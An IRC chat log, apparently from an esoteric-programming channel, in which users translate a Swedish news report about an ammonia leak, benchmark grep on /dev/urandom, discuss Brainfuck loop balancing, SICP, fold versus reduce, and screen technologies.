hjälp av polisen angående avspärrningar eller eventuell evakuering. 00:33:41 like 00:33:49 ehird, it isn't like that in Swedish 00:33:53 yeah 00:33:53 :P 00:33:56 anyway 00:33:59 Men enligt polisens länskommunikationscentral hade inte räddningstjänsten vid midnatt begärt någon hjälp av polisen angående avspärrningar eller eventuell evakuering. 00:35:07 But (according to the police's communication central) the emergency service had not (at midnight) requested any help with barricades or evacuation. 00:35:10 AnMaster: Men enligt polisens länskommunikationscentral hade inte räddningstjänsten vid midnatt begärt någon hjälp av polisen angående avspärrningar eller eventuell evakuering. 00:35:44 who cares about some silly catastrophy, let's just play the nick pasting game 00:35:55 oklodok, no 00:35:58 00:35 oklodok: AnMaster: Men enligt polisens länskommunikationscentral hade inte räddningstjänsten vid midnatt begärt någon hjälp av polisen angående avspärrningar eller eventuell evakuering. 00:36:01 I was trying to get back on topic 00:36:02 ... 00:36:04 :P 00:36:05 AnMaster: gotta agree with him here, this is #esoteric 00:36:07 going to bed now 00:36:11 night! 00:36:12 bye 00:37:21 5 pages to go, and i'll be done, and my next exam isn't in long times! 00:37:25 http://www.aftonbladet.se/senastenytt/ttnyheter/inrikes/article5177106.ab 00:37:27 same text 00:37:28 heh 00:37:33 ah yeah TT 00:37:36 AnMaster: it'll come from a news agency 00:37:38 it's like Reuters 00:37:39 yeah 00:37:40 like Reuters or AP 00:37:40 right 00:37:41 news agency 00:38:34 ehird are you still benchmarking bbc response time? 00:38:46 :DD 00:38:54 oklodok: can I hire you to be funny at me all day? 00:38:55 news: 00:38:59 google maps works without js 00:39:08 yes really 00:39:08 AnMaster: that can't be very pleasant 00:39:20 click. wait. click. wait. click. wait. gee, if only I could drag 00:39:46 ehird: i don't think i'd work well paid by hour 00:39:58 oklodok: flat monthly rate? 00:40:02 ehird, lim_(x -> 0) x = google response time 00:40:03 :P 00:40:18 ehird: well i'm all for a steady income :P 00:40:21 AnMaster: well sure but :P 00:40:29 http://maps.google.com/maps?q=Stenungsund&oe=UTF-8&ie=UTF-8&split=0&ei=fvERSvCXIcnDsgaFoOSJDg&output=html&zoom=3&zp=OOOOOO 00:40:31 that is where 00:40:43 AnMaster: you can't even click! 00:40:43 which interface is it 00:40:47 ehird, what? 00:40:55 you can't click on the map itself 00:40:57 to "drag" 00:40:59 ehird, I think it is for mobile phones 00:41:02 and such 00:41:03 ah 00:41:05 AnMaster: nah 00:41:10 too wide fram efor that 00:41:15 true 00:41:25 ehird, for links -g ? 00:41:30 for every length of time there is a piece of news google caught on before said time had elapsed 00:41:32 AnMaster: heh 00:42:10 but I think this is new 00:42:16 I remember trying without JS before 00:42:18 no worky 00:42:19 Joke site idea: silentcarreview.com 00:42:31 ehird, sounds like a good idea 00:42:32 even 00:42:37 (yeah seriously) 00:42:44 AnMaster: you'd have to silence all the other motorists' cars too :-P 00:42:52 ehird, oh? 00:42:54 ah 00:42:56 hm 00:43:01 trickier 00:43:06 it won't make much difference if you're the only silent car on the road will it 00:43:20 ehird, yeah but make everyone buy one 00:43:35 well if we're going down that route make it mandatory that everyone own a kitten 00:43:38 morale will improve instantly 00:45:09 ehird, allergic to them. Can't 00:45:19 plus cats are evil 00:45:32 AnMaster: if I was allergic to kittens I'd never get out of bed 00:45:38 i'd just lie there thinking about how worthless my life is 00:45:56 :P 00:46:08 ehird, allergic to dogs, cats and some sorts of pollen. 00:46:17 well dogs is okay i don't like dogs 00:46:21 and pollen isn't cute and fluffy 00:46:25 but kittens... 00:46:56 AnMaster: weren't you supposed to sleep?!?!?!?!?!?!?!? 00:48:58 oklodok, see above 00:49:02 think 00:50:35 ehird, updates 00:50:42 ooh 00:50:50 ehird, "situation under control" 00:50:52 AnMaster: hmm no, my thinking cannot explain it 00:50:54 "no wind" 00:51:07 AnMaster: boring, i was hoping for like, zombie outbreak 00:51:19 yeah those are always interesting for a while 00:51:24 ehird, wouldn't be nice. I know people in that area. 00:51:37 yes, but, zombies kind of outweigh that 00:51:46 ehird, that isn't the effect 00:51:53 the effect is just dead people 00:51:59 dead people turn into zombies via magic 00:52:03 Phngh. Finally got graded those AI course project-works. Meh, I've been making snide comments about our TCS lab professors who reply to emails in the middle of the night; but now I self sent those grades out at 02:30 am or so. 00:52:22 :D 00:52:58 ehird, they still don't know how much leaked. But the leak is "probably" stopped 00:53:14 they suspect that the tank that leaked wasn't full 00:53:23 AnMaster: how comforting! 00:53:45 http://www.svd.se/nyheter/inrikes/artikel_2917959.svd 00:53:59 brb learning to read swedish 00:54:09 ehird, copy paste to google translate 00:54:09 works 00:54:14 :P 00:54:31 -!- pikhq has quit (Read error: 54 (Connection reset by peer)). 00:54:34 ehird, was it better we had that huge fire just a bit south of here? Last year. 00:54:44 - Situation is under control. We do not yet know how much has been leaked. But the weather is favorable, there is no wind that can spread a possible gasmoln. It smells of nothing, which suggests that it is not so much leaked, "said Bengt Carlsson. 00:54:49 ehird, 8 fire brigades worked on it at max 00:54:49 it smells of nothing 00:54:52 what a way to detect 00:54:56 just sniff! 00:55:02 It is a tank when it is filled capacity of 3 000 cubic meters of ammonia for some reason leaked. 00:55:07 3,000 cubic meters? ouch 00:55:18 ehird, could have been bad yeah 00:55:21 if it had been full 00:55:27 ah 00:55:31 the translation obscured the meaning 00:55:55 ehird, "It is a tank which when filled has a capacity of 3 000 ..." 00:55:57 the real reason i was scared is that sweden is a province of finland 00:56:02 one of the 3 people living there could have got hurt 00:56:23 the real reason i was scared is that sweden is a province of finland <--- technically wrong 00:56:39 no no totally true 00:57:11 ehird, but was it 00:57:30 ehird, yes or no 00:57:39 finland used to be a province of sweden 00:57:42 ehird, was it better we had that huge fire just a bit south of here? Last year. ehird, 8 fire brigades worked on it at max 00:57:43 that 00:57:48 but then time-space warped and Finland-space started 00:57:50 AnMaster: "better" how 00:57:55 wind was blowing the smoke my way 00:58:01 + toxic smoke 00:58:02 ah 00:58:06 cool 00:58:08 (plastics) 00:58:13 ehird, I mentioned it in here then 00:58:14 ... 00:58:22 night really 00:58:23 i don't recall last year 00:58:24 :-P 00:58:25 bye 00:58:44 night! 01:00:00 He's probably lulling us to a false sense of security; he'll jump out of hiding and attack any minute now. 01:00:07 noooooooooooo 01:00:07 3000 cubic meters... could probably be used as a blue whale aquarium 01:00:26 (i want one!) 01:00:43 oklodok: yes store them in ammonia 01:01:29 3000 cubic meters is still just a cube with approximately 14.422 meter sides. That's not so big. 01:01:38 true 01:02:09 it's quite big for an aquarium 01:02:24 in fact i don't think i've seen one as big 01:03:54 The boat-building department here at TKK has a pool of 7865 cubic meters (5.5 meters deep, 11 meters wide, 130 meters long), but that's just plain old water. 01:04:17 :O 01:04:26 how many blue whales is that? 01:04:27 fizzie: omg awesome 01:04:35 -!- lifthrasiir has joined. 01:04:46 They also advertise the "world's largest 40 x 40 meter ice-model-test-pool where you can perform experiments with 70 mm thick model ice", but they don't say how deep that thing is. 01:05:16 http://www.tkk.fi/Units/Ship/General/ and then the "ship laboratory"; it's a silly javascript thing that'll toggle the content open. 01:05:48 The English version doesn't say "world's largest"; only the Finnish one has that. Heh. 01:06:07 they don't want to reveal their secrets 01:06:10 -!- inurinternet has quit (Read error: 113 (No route to host)). 01:06:26 Hopefully they build better ships than web pages. 01:07:40 There's wave-making machinery in both pools (except it's called a "basin", that sounds more officious); I'm *very* certain the students use them as huge-ass swimming pools (don't move the dash again) when no-one's looking. 01:07:59 fizzie: huge ass-swimming pools 01:08:09 Maybe that, too. 01:08:18 huge ass swimming po-ols 01:08:21 it's moving!! 01:10:27 -!- inurinternet has joined. 01:16:02 oooooooooooooooooooooooooooooooooooooooooooooooooooo 01:16:13 ooooooooooooooooooooooooooooooooooooo 01:16:40 free as a bird am i now 01:16:47 i don't have a care in the world 01:17:21 and i am green 01:18:46 why so 01:19:23 oklodok: well because glo-fold 01:23:15 ! 01:23:28 oklodok: y eah! 01:25:47 Metaplace is open beta! 01:26:23 Pavitra's on MP 01:26:29 ? 01:29:17 w00t, it's possilble to go into the MP Central waters! 01:29:29 -!- Gracenotes has quit (Read error: 113 (No route to host)). 01:35:56 ehird: grep is twice as fast with hyperthreading 01:36:08 bsmntbombdood: grep on what 01:36:09 /dev/random? 01:36:13 yeah 01:36:25 bsmntbombdood: that's such a real-world operation. 01:36:28 not 01:38:13 i remember reading an article detailing how someone used DFAs to grep at like 12 gb/s 01:38:30 and i was pretty impressed 01:38:35 but this processor can do 9 01:38:48 bsmntbombdood: grep is singlethreaded 01:38:51 how can it be faster w/ ht 01:39:05 it is trivial to parelellize manually 01:39:36 bsmntbombdood: you said "grep" 01:39:40 not "my parallel grep" 01:39:45 which skews the results 01:39:52 ... 01:40:02 no it doesn't 01:40:14 meh :p 01:41:18 bsmntbombdood: try fgrep 01:41:21 I bet you could hit 12gb/s 01:41:39 naw, grep uses the same algorithm on fixed strings 01:41:50 bsmntbombdood: but with less processing itme 01:41:54 due to not having to interpret special chars 01:41:58 boyer-moore judging from the fact that you get better speed on longer strings 01:42:02 fine, one sec 01:43:27 -!- pikhq has joined. 01:43:44 linux's /dev/urandom is really slow 01:43:51 bsmntbombdood: cat it to a file 01:43:52 then fgrep 01:43:55 no shit 01:43:56 (ssd, ofc) 01:44:02 no, ramdisk ofc 01:44:07 lol 01:44:12 true 01:44:21 bsmntbombdood: you have more ram than my first HD size 01:45:28 there's some bad locking too 01:45:35 bsmntbombdood: What, you expect it to create entropy? 01:45:42 pikhq: it's urandom 01:45:44 it's meant to make shit up 01:45:46 i am running 8 dd's of /dev/urandom and each cpu is only at 35% 01:45:48 random is the one that freezes 01:45:51 Ah, right. 01:45:52 pikhq: yes, i do 01:46:12 bsmntbombdood: It's not going to make entropy. 01:46:18 ... 01:46:19 It's going to pretend to have entropy. 01:46:20 ;) 01:46:21 yes 01:46:35 it output is indistinguishable from real entropy 01:46:44 err no 01:47:09 with a computationally bounded attacker, yes 01:47:14 -!- Corun has quit ("Leaving..."). 01:47:56 Well if you specify "computationally bounded"... So are primes, for some notion of computationaly bounded. :p 01:48:11 "computationally bounded" = real 01:48:35 Depends on the psuedorandom number generator. 01:48:52 obviously 01:49:01 /dev/urandom is purported to be cryptographically secure 01:49:26 Granted. 01:50:19 $ time echo ran* ran* ran* ran* ran* ran*| xargs -n 1 -P 8 grep foobarbaz 01:50:19 real 0m2.355s 01:50:19 user 0m9.897s 01:50:19 sys 0m6.420s 01:50:53 10 gigabytes/second 01:51:29 bsmntbombdood: your rig is amazing. challenged only by my future one ;-) 01:51:34 fgrep takes exactly the same time 01:52:02 ehird: God, if I had $10,000 in disposable income. 01:52:12 pikhq: not that much! bsmnt's cost $1,7000 01:52:12 and check this out- 01:52:13 w 01:52:14 er 01:52:16 $ time echo ran* ran* ran* ran* ran* ran*| xargs -n 1 -P 8 fgrep foobarbadsfkj09i3209ilksajdfkljaslfjlasfjdlkajsfdlkjalsfjdksajdfkljaslllfkdkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkazffffffffffassssssssssssssssssssssssssssssssssssssssssssssss 01:52:16 real 0m1.611s 01:52:17 $1,700 01:52:27 ehird: Our uberbuild. 01:52:30 mine will probably cost about $4,000 01:52:32 pikhq: oyeah :-D 01:52:33 bye → 01:52:59 the 6 seconds of system time worries me 01:53:06 i'm thinking i can do better 01:58:50 -!- coppro has joined. 01:59:12 bsmntbombdood: Uh, you do realise that file access consists of system time, right? 01:59:28 yes 02:06:41 ahahaha 02:06:57 http://www.google.com/url?sa=t&source=web&ct=res&cd=3&url=http%3A%2F%2Fwww.arl.wustl.edu%2F~sarang%2Fjsac_cameraready.pdf&ei=mAUSSpCGG8OHtgfOoeWACA&usg=AFQjCNGdR0vyT1iYMrr6xRtEeUuwGhjSAg&sig2=tdY3YBP1h0x85tTt4DtNPw 02:07:04 that's the paper i was talking about 02:07:22 a measly core i7 is way faster than their specialized hardware 02:23:00 wc(1) is like a zillion times slower than grep 03:04:10 -!- Gracenotes has joined. 03:04:34 bsmntbombdood: wc(1) counts shit. Grep does regexps. 03:04:34 Whaddya expect? 03:12:19 counting is faster than regexps 03:13:03 actually wc -w takes about the same time as grep 03:13:07 wc -w is what is slow 03:17:00 Mmm. 03:17:36 wc -c is of course constant time 03:18:16 Well, yeah. 03:52:20 I love Allegiance 03:52:21 http://www.youtube.com/watch?v=EZ__4qWLO7E 04:05:49 i need a 64 bit rolling checksum 04:26:51 -!- bsmntbombdood_ has joined. 04:27:37 -!- bsmntbombdood has quit (Read error: 113 (No route to host)). 04:53:29 -!- pikhq has quit (Read error: 104 (Connection reset by peer)). 05:09:47 -!- oklodok has quit (Read error: 60 (Operation timed out)). 05:44:31 -!- pikhq has joined. 06:17:00 -!- asiekierka has joined. 06:17:01 hi 06:19:36 hi 06:21:35 Heh, I had a scoring idea for BF Joust 06:21:45 you battle on each possible tape size 06:21:57 draws are 0, wins are +1 and loses are -1 06:22:13 So for example if a program wins with the bot on 20 tape sizes but loses on one, it has 19 points 06:22:22 Now, it battles with every program in the list other than itself 06:22:43 so if there are 10 programs and the program we're talking about is not one of these 06:22:47 it can score up to 200 points 06:22:55 or fail at -200 points 06:30:47 -!- upyr[emacs] has quit (Read error: 113 (No route to host)). 06:33:41 -!- asiekierka has quit. 07:15:37 -!- kar8nga has joined. 07:38:53 -!- olsner has joined. 07:50:16 -!- kar8nga has quit (Read error: 104 (Connection reset by peer)). 07:59:59 -!- clog has quit (ended). 08:00:00 -!- clog has joined. 08:43:06 -!- GreaseMonkey has joined. 09:01:13 -!- Sgeo has quit ("Leaving"). 09:02:06 -!- lereah_ has joined. 09:08:41 -!- Judofyr has joined. 09:42:39 -!- sebbu has quit (Read error: 104 (Connection reset by peer)). 09:43:12 -!- sebbu has joined. 10:16:53 -!- GreaseMonkey has quit ("YES -> thor-ainor.it <- THIS IS *DELICIOUS*!"). 10:33:23 -!- oerjan has joined. 11:27:54 -!- tombom has joined. 11:39:37 AnMaster: omg Darths and Droids 11:39:53 *& 11:42:34 oerjan, agreed 11:42:47 It *so* has not been ten years. Soon you'll be telling me it's been over ten years since the Matrix. 11:43:03 no idea if it was. 11:43:38 fizzie, when was Matrix released 11:43:42 fizzie: well it's been ten years according to our clocks. the simulation of course runs much faster. 11:43:48 probably a couple hours 11:43:51 hehe 11:44:00 March 1999, apparently. 11:44:23 then it is 10 years + some months I guess. 11:44:48 what about Terminator? 11:45:12 25 11:45:21 wow really? 11:45:23 heh 11:45:32 1984; I had just managed to be born the year before. 11:46:05 I was born -5 years before. 11:46:31 18 for #2 11:46:59 So even Terminator 2 can now drink alcoholic beverages. (Well, depending on the local age limits and so on; it's 18 around here.) 11:47:10 I never seen Terminator, only Terminator 2 11:47:18 s/seen/watched/ 11:47:35 -!- sebbu has quit (Read error: 104 (Connection reset by peer)). 11:48:04 -!- sebbu has joined. 11:48:43 -!- coppro has quit (Read error: 104 (Connection reset by peer)). 11:49:01 -!- pikhq has quit (Read error: 104 (Connection reset by peer)). 11:49:04 -!- Halph has joined. 11:49:10 -!- Halph has changed nick to coppro. 11:56:51 -!- KingOfKarlsruhe has joined. 12:15:47 -!- tombom has quit ("Peace and Protection 4.22.2"). 12:24:44 -!- jix has joined. 12:26:04 -!- MizardX has quit ("What are you sinking about?"). 12:42:48 -!- MizardX has joined. 13:17:30 -!- oerjan has quit ("leaving"). 13:20:21 -!- oerjan has joined. 13:20:27 !show slashes 13:20:27 perl (sending via DCC) 13:22:23 * oerjan realizes debugging in the inner loop may not exactly help performance 13:23:00 !delinterp slashes 13:23:01 Interpreter slashes deleted. 13:23:19 !addinterp slashes http://oerjan.nvg.org/esoteric/slashes/slashes.pl 13:23:19 Interpreter http___oerjan_nvg_org_esoteric_slashes_slashes_pl does not exist! 13:23:25 !addinterp slashes perl http://oerjan.nvg.org/esoteric/slashes/slashes.pl 13:23:28 Interpreter slashes installed. 13:23:40 Ooh, now that !show + DCC thing is *fancy*. 13:23:59 fungot: Silly bot, you don't even know how to do *anything* with DCC. 13:24:00 fizzie: the chip select which joystick port. this port, there are characters waiting in the table that starts at the sprite in the individual terms by performing the indicated memory location. when you turn it back on. 13:24:06 !slashes /#/1,2,3/test # 13:24:06 test 1,2,3 13:29:04 !slashes http://oerjan.nvg.org/esoteric/slashes/bct.sss 13:30:44 ok that didn't really help any 13:45:41 -!- jix has quit (Read error: 60 (Operation timed out)). 14:20:09 -!- jix has joined. 14:26:55 -!- oerjan has quit ("leaving"). 14:27:33 -!- KingOfKarlsruhe has quit (Remote closed the connection). 15:00:18 -!- pikhq has joined. 15:34:30 -!- FireFly has joined. 15:39:01 -!- upyr[emacs] has joined. 15:39:01 -!- BeholdMyGlory has joined. 15:42:36 .ssssssssssssssss 15:42:40 source code for snakes 15:50:27 Like python? :o 15:52:23 no. 15:52:33 thats source code made from snakes. 15:52:35 totally different thing. 16:06:44 -!- lereah_ has quit ("Leaving"). 16:10:23 heh 16:10:39 is this BF loop balanced or not: [>[-]+++[>++>++<<],++.<+] 16:10:47 counting just <> it is. 16:10:48 but 16:10:58 it is also equal to [>[-]+++[>++>++<<]] 16:11:03 which is unbalanced 16:11:32 (this is because the inner loop is trivially provable to be infinite and will always run (also trivial to prove) 16:11:35 ) 16:13:19 -!- Slereah has quit (Read error: 60 (Operation timed out)). 16:13:28 -!- Slereah_ has joined. 16:13:47 wot 16:13:51 psygnisfive, ? 16:13:59 what do you mean balances 16:14:03 balanced 16:14:20 psygnisfive, "current cell is same before and after loop" 16:14:48 oh ok. 16:14:49 if it is you can do all sorts of optimisations in BF that you can't otherwise 16:16:04 -!- ais523 has joined. 16:16:25 hi ais523 16:16:27 ais523, is [>[-]+++[>++>++<<],++.<+] balanced 16:16:38 AnMaster: yes 16:16:40 ais523, but it is equal to [>[-]+++[>++>++<<]]! 16:16:42 which isn't 16:16:49 I meant, balanced square brackets 16:16:56 ais523, balanced moves 16:17:01 which is the usual meaning 16:17:06 yes, balanced moves 16:17:17 and given that the outer loop never finishes 16:17:23 it doesn't matter whether that loop's balanced or not 16:17:27 hm indeed. 16:17:40 p++; while(1); p--; leaves p the same 16:17:43 p++; while(1); doesn't 16:17:45 meh have to rewrite part of the calculator 16:17:47 yet they are the same 16:17:58 for loop balance 16:18:28 hm in fact 16:18:37 this in theory opens up lots of ways to optimise 16:18:45 isnt there some sort of compiler you could write for this? :P 16:19:05 since you know that after that outer loop anything done in it will be void. 16:19:09 yes 16:19:10 psygnisfive, err what 16:19:18 psygnisfive, I'm writing a BF compiler... 16:19:31 oh, is that what youre doing /right now/? 16:19:50 psygnisfive, well right now I'm writing on irc 16:19:54 :P 16:19:57 and writing code at the same time 16:20:09 (single core multi tasking style) 16:20:14 ok 16:20:20 im going to go shower, then run off. bye. :P 16:20:25 cya 16:27:28 -!- coppro has quit (Read error: 110 (Connection timed out)). 16:37:39 -!- inurinternet has quit (Connection timed out). 17:00:23 00:52 bsmntbombdood: the 6 seconds of system time worries me 17:00:23 00:53 bsmntbombdood: i'm thinking i can do better 17:00:24 coppro has joined (n=coppro@unaffiliated/coppro) 17:00:26 00:59 pikhq: bsmntbombdood: Uh, you do realise that file access consists of system time, right? 17:00:28 00:59 bsmntbombdood: yes 17:00:30 align the ssd bitch 17:00:59 ehird: He was feeding from /dev/urandom. 17:01:09 irrelevant 17:01:13 it'd still help 17:01:15 it always helps 17:01:16 :P 17:01:19 No it won't. 17:01:21 <_< 17:01:27 pikhq: whaddya think about his grep being faster w/ HT? 17:01:28 it's odd 17:01:48 Very odd, considering that grep is single-threaded. 17:02:15 a multithreaded grep isn't theoretically impossible 17:02:16 pikhq: no, he ran multiple greps 17:02:18 iirc 17:02:25 and they went twice as fast 17:02:29 ais523: Yes, but it *is* single-threaded right now. 17:02:31 GregorR: GregorR-L: there? 17:02:36 Somebody mailed me a copy of SICP. Now what would they mean by that...? —Guido van Rossum 17:02:40 HAVE YOU READ YOUR SICP TODAY? 17:02:42 ehird: I'd imagine that grep doesn't touch the cache much. 17:03:03 A better test would be, say, compilation. 17:03:16 i want to give whoever sent gvr sicp $1m 17:03:34 ehird: you don't have $1m 17:03:36 also, who is gvr? 17:03:41 ais523: creator of python 17:03:41 1 megadollar? 17:03:45 ais523: Guido van Rossum. 17:03:48 aha 17:03:55 it's ehird's answer that's more useful to me 17:03:56 and Benevolent Functional-Programming-Ignorant Dictator for Life 17:04:08 obviously some /prog/ger sent him SICP 17:04:09 ehird: He's better than some. 17:04:12 well, python has lambda... 17:04:32 that's enough to implement functional programming from first principles, if you really want to 17:04:36 "hur hur tail calls = tail recursion and can always be replaced trivially with a while loop what do you mean tailcalling another function" 17:04:37 tbh, any TC lang is 17:04:43 "I am dropping reduce() from the base language because IT HURTS MY BRAIN" 17:04:50 "I HAVE TO TURN IT INTO A FOR LOOP this is obviously reduce's f ault" 17:04:57 ... *Wha*? 17:05:00 "also don't use map() it gives you rabies" 17:05:06 pikhq: reduce = fold, he removed it from py3k 17:05:12 because he can only think imperatively, apparently 17:05:15 Even *Tcl* does tail call recursion these days. 17:05:23 is the name reduce or fold more common? 17:05:25 does it do general tail call optimization? 17:05:30 that's more useful than tail recursion 17:05:31 and Perl has an /operator/ for tail call optimisation 17:05:41 ais523: reduce is what the scripting langs use, fold is what the academic languages use 17:05:44 so you have to do it by hand, but it supports TCO too 17:05:49 (granted, you do it via "tailcall" instead of calling your function, but that's because they're just a tiny bit lazy) 17:05:50 scheme has fold, fold-right in SRFI-1 17:05:53 haskell is even more specific 17:05:57 foldl, foldr, foldl1 17:05:59 foldl' 17:06:00 etc 17:06:03 ais523: They've got a proc to optimise it in Tcl 8.6. 17:06:24 In current Tcl, you just have to rely on the stack not growing too large. 17:06:24 Or implement it yourself. 17:06:24 * ais523 vaguely wonders if gcc-bf does tail-call optimisation 17:06:31 it has a stack, after all 17:06:44 my guess is it's probably capable of using gcc's built-in TCO 17:06:47 but I've never tried 17:06:48 (Tcl is rather ridiculously modifiable, after all) 17:06:56 anyway, what I'm saying is, some hero from /prog/ gave gvr sicp as a joke. 17:07:05 ~fin~ 17:07:07 ehird: Which is totally awesome. 17:07:10 Yes. 17:07:29 I only hope they included the /prog/snake. Live. 17:07:34 *Alive 17:08:04 anyway: http://www.groklaw.net/article.php?story=20090518204959409 17:08:07 Hmm. Funny thing is, the only Python programmer I know well is accused of programming like Python's a Lisp... 17:08:19 I mention Alpha's terms of use on Groklaw, and then this happens 17:08:25 and I have no idea whether or not it's coincidence 17:09:05 haha, in the /r/programming/ comments on the link to the tweet people are trying to understand it :-) 17:09:22 "I think it can be a reference to MIT's changes in curriculum rather than the discussion on tail recursion." 17:10:33 well, it could be 17:10:47 it's totally a /prog/ger trolling him. 17:11:00 SICP's a nice high-brow way to troll someone 17:11:07 although I've never actually read it 17:11:16 should I, I wonder? 17:11:22 not now because I have unrelated exams 17:11:32 ais523: if you can avoid testing the Scheme code on 5 different broken implementations to check it's portable, then yes 17:11:46 I'd recommend MIT Scheme to go through with it, since it's a very traditionalist R5RS sort of implementation. 17:11:55 what's the exact subject of the book? 17:12:02 ais523: Achieving satori. 17:12:12 I already know quite a bit of functional programming, although I'm self-taught in it 17:12:12 But, uh, it's about the structure and interpretation of computer programs. 17:12:31 It's about the fundamental interactions between interpreters, compilers, languages, metacircular things, homoiconicism, Scheme, ... 17:13:19 ais523: But I'm not sure SICP can be called high-brow in the context of /prog/ 17:13:56 ais523: Wikipedia sums it up well: 17:14:04 [[Using a dialect of the Lisp programming language known as Scheme, the book explains core computer science concepts, including abstraction, recursion, interpreters and metalinguistic abstraction, and teaches modular programming. 17:14:05 17:14:07 The program also introduces a practical implementation of the register machine concept, defining and developing an assembler for such a construct, which is used as a virtual machine for the implementation of interpreters and compilers in the book, and as a testbed for illustrating the implementation and effect of modifications to the evaluation mechanism. Working Scheme systems based on the design described in this book are quite common student projects. 17:14:12 ]] 17:14:21 It's a very academic sort of book. 17:14:50 yes 17:15:03 hmm... I wonder if it's like UNIX 17:15:15 in that it is possible to make something better than UNIX, but you'll almost certainly fail unless you understand UNIX first 17:15:28 I think SICP is pretty much perfect. 17:15:37 mit's website is really pretty: http://mit.edu/ 17:15:40 I mean, in its descriptions of how to make an interpreter 17:15:53 ais523: it doesn't really describe that 17:15:59 ugh, that picture in the middle is really glaring on the eyes 17:16:01 it describes the theory of interpreters 17:16:01 it's just executable theory 17:16:06 what? 17:16:10 your brightness is set too high 17:16:16 quite possibly 17:16:22 it handles black on white just fine, though 17:16:26 and I have terminals set to grey on black 17:16:33 i just like the logo and lowercase title, pretty much :P 17:16:34 so seeing random white-on-black things overglares 17:16:48 ais523: i said yesterday that I want an lcd whose off state is white, not black 17:16:56 so that white would be soft on the eyes, not black 17:17:23 there are non-LCD screen architectures which manage that, but unfortunately they're impractical atm due to pixels taking almost a second to change colour 17:17:31 when that's fixed, though, you may have your wish 17:17:46 ais523: but I like LCDs! 17:17:55 what about them do you like? 17:17:56 also, I wonder if OLED can do it? 17:17:58 in particular/ 17:17:58 and I dunno 17:18:02 they're very sharp 17:18:07 pixels are very defined, not blurry 17:18:21 unlike, say, plasma displays, from what I know 17:18:47 also, I like subpixel rendering 17:18:59 I saw a picture where a bunch of text moved 1/3 of a pixel left each line 17:19:01 er, right 17:19:11 by using subpixel rendering 17:19:43 ais523: so what technologies are you talking about? 17:19:56 those flexible paper-based ones 17:20:05 ais523: those aren't bright enough 17:20:10 and don't have good enough colour 17:20:15 yet 17:20:21 isn't it inherent 17:20:35 no, the colour's physically inside the piece of paper 17:20:39 and gets moved around 17:20:49 wait, which displays are we talking about here? 17:20:52 Amazon Kindle-style? 17:20:56 yes 17:21:06 they use real paper? 17:21:07 are you sure? 17:21:08 they're about good enough to use for something like the Kindle atm 17:21:19 and I'm not quite sure if it's chemically the same as paper 17:21:24 but it has similar physical properties 17:21:26 maybe a bit stronger 17:21:41 Hmmmmmmmmmmmmwell. 17:21:48 I dunno. 17:21:51 What about OLEDs? 17:21:53 They use "organic" light. 17:22:05 Light that's fairly traded and not using chemicals, I suppose :-P 17:22:22 ehird: they use organic chemicals, rather than inorganic chemicals 17:22:37 I was joking 17:22:53 where organic = based around carbon chains 17:23:22 The Optimus Maximus keyboard developed by the Art. Lebedev Studio and released early 2008 uses 113 48×48-pixel OLEDs (10.1×10.1 mm) for its keys. 17:23:24 didn't know that 17:23:32 too bad it's a shit keyboard 17:23:38 yes 17:23:44 it seems engineered to be as expensive as possible 17:23:46 rather than actually useful 17:23:48 who looks at their keys, anyway? 17:23:50 I sure don't 17:24:04 I do on occasion to hit the home row 17:24:13 it's faster than feeling for it if I took my hands off the keyboard for any reason 17:24:18 my style is too weird for things like home rows :-) 17:24:19 and I am now, because you got me thinking about it... 17:24:25 ehird: so's mine 17:24:27 ais523: on a similar note, you're breathing 17:24:29 also, blinking 17:24:31 but my fingers need to start somewhere 17:24:33 have fun 17:24:42 ehird: blinking doesn't work on me, although the breathing thing does 17:25:06 ais523: also, your heart is beating. 17:25:17 ehird: I'm incapable of making my heart beat manually 17:25:25 well that's your problem! 17:25:25 so it'll just continue on auto, as always 17:27:57 ehird: do you have your heart on manual? 17:28:00 -!- inurinternet has joined. 17:28:09 ais523: no, I'm fairly sure that would be an emergency 17:28:16 can _anyone_ do that? 17:28:20 so why is it a problem if I don't? 17:28:34 because I told you it's beating so it's stopped now! 17:28:36 and although it's not quite on manual, some people have learnt to be able to control the speed with mental effort 17:28:38 if it's still beating, well, quantum immortality. 17:29:02 including stopping it for a few seconds 17:29:12 that's one skill I'm happy not to have 17:29:20 I'm not sure how useful that is, but presumably there's some reason they learnt it 17:29:24 that's more important than party tricks 17:32:59 ehird: everyone has some voluntary control over their blood flow 17:33:12 I don't that I'm aware of 17:33:16 because the heart doesn't push hard enough in order to get the blood all the way back up your legs 17:33:33 therefore, you have to keep moving your legs or feet (although only a few centimeters every few minutes is enough) 17:33:37 to stop all the blood getting stuck there 17:33:46 people occasionally faint from standing too still as a result 17:34:02 heh 17:34:08 ais523: that's not what I'd call voluntary 17:34:10 that's a side-effect 17:34:25 it's sort of like saying putting your head in a paper bag is a way to voluntarily stop breathing 17:34:46 heh 17:35:32 Somebody mailed me a copy of SICP. Now what would they mean by that...? —Guido van Rossum 17:35:32 HAVE YOU READ YOUR SICP TODAY? 17:35:33 awesome 17:37:48 ais523: reduce is what the scripting langs use, fold is what the academic languages use <-- which category do you put erlang in. 17:37:55 AnMaster: I don't know erlang 17:37:59 AnMaster: does it use reduce or fold? 17:38:07 also, I suspect it counts as academic, given its history 17:38:12 although company-academic, not university-academic 17:38:38 ais523, fold 17:38:59 ais523: yes, it's "company research" 17:39:08 rather than "university department of language research" 17:40:34 I think we're all agreeing, that's nice to see 17:40:45 if a little unusual 17:40:50 heh I found a bug in this wireless telephone. 17:40:57 -!- Judofyr has quit (Read error: 104 (Connection reset by peer)). 17:41:03 AnMaster: wut 17:41:14 After you held down the "end call" button for 10 seconds it goes into a "mode" where every button you press cause the screen backlighting to flicker and an odd short noise to be emitted. Loudly. 17:41:14 ais523: technically I think that means we died and went to heaven 17:41:24 Like a mix between beep and static noise 17:41:35 AnMaster: oh, that's probably a feature to stop you redialing after an argument, or something. I bet a marketroid came up with it. :-P 17:41:38 only way to make it exit the mode is take out the batteries and reinsert them 17:41:52 ehird, "end call" not "begin call" 17:42:08 ehird: it does sound like the definition of some features I've heard, but they wouldn't do it like that 17:42:19 I can't see it being a "feature"... 17:42:22 17:40 Ami: Antibiotic culture charged with failure to comply with the anticivic reportioning and reclamation decrees. 17:42:23 17:41 Ami: Jevanic polysyndicates post-charged for post-modern pseudosymbolism and monoreference. 17:42:24 17:41 Ami: Citizens, reminder. Inaction is conspiracy. Report counterbehaviour to your nearest stabilization delegate or workforce intake hub for full ration reward. 17:42:26 possibly a test mode. 17:42:27 ↑ this is basically what Sine is 